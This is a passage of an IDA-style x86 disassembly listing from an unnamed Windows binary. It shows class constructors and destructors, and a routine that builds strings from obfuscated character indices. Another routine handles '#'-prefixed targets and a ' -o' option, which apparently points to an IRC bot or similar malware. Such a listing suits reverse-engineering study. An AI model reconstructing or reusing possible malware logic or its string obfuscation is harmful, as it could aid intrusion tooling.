		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


loc_4035E1:				; CODE XREF: sub_403530+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_403637
		lea	ecx, [esp+478h+var_438]
		call	sub_40168B
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401AAF
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_4035E1


loc_403637:				; CODE XREF: sub_403530+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_403530	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403700	proc near		; CODE XREF: sub_40168Bj
		mov	eax, [ecx+9]
		retn
sub_403700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403720	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403720
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_40222A
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_40222A
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_40222A
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_40222A
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_40222A
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_40222A
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_40222A
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_40222A
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_40222A
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_40222A
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_40222A
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_40222A
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_40222A
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_40222A
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_40222A
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_40222A
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_40222A
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_40222A
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_40222A
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_40222A
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_40222A
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_40222A
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_40222A
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_40222A
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_40222A
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_40222A
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_40222A
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_40222A
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_40222A
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_40222A
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_40222A
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_40222A
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_40222A
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401753
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401753
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401753
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401753
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401753
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401753
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401753
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401753
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401753
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401753
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401753
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401753
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401753
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401753
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401753
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401753
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401753
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403720	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C50	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C50	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CC0	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F004
		retn
sub_403CC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CE0	proc near		; CODE XREF: sub_40222Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D60	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403DE0	proc near		; CODE XREF: sub_401753j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403DE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403DE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E50	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40222A
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403F30	proc near		; CODE XREF: sub_40208Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403F30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AE6
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403F30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_404010	proc near		; CODE XREF: sub_401D48j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_404010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_404010	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017EE
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017EE
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017EE
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017EE
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017EE
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017EE
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017EE
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h,	24548D23h
		dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh
		dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh
		dd 45F46850h, 75680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h
		dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h
		dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h,	0FE8105Ch
		dd 50FFFFD3h, 4445F068h, 8E456800h, 3EE8004Eh, 83FFFFCBh
		dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 3DC7CFE8h
		dd 0C88B9002h, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
		dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h,	0D89645Dh
		dd 0
; ---------------------------------------------------------------------------
		add	esp, 54h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 150h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404690	proc near		; CODE XREF: sub_401A41j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404690
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_401479
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_4046D2
		push	ebx
		jmp	short loc_4046D6
; ---------------------------------------------------------------------------


loc_4046D2:				; CODE XREF: sub_404690+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_4046D6:				; CODE XREF: sub_404690+40j
		mov	ecx, edi
		call	sub_401FDC
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046F2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FDC


loc_4046F2:				; CODE XREF: sub_404690+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40476F
		lea	ecx, [esp+98h+var_6C]
		call	sub_40142E
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013ED
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40476F:				; CODE XREF: sub_404690+6Aj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E47
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_401479
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_401479
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_404A3A
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40485F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jz	short loc_40485F
		mov	bl, 1
		jmp	short loc_404861
; ---------------------------------------------------------------------------


loc_40485F:				; CODE XREF: sub_404690+1A6j
					; sub_404690+1C9j
		xor	bl, bl


loc_404861:				; CODE XREF: sub_404690+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_404A1E
		push	offset asc_444600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_404A3A
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_404A3A
		push	20h
		mov	ecx, esi
		call	sub_401D34
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D34
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40202C
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FDC
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016B8
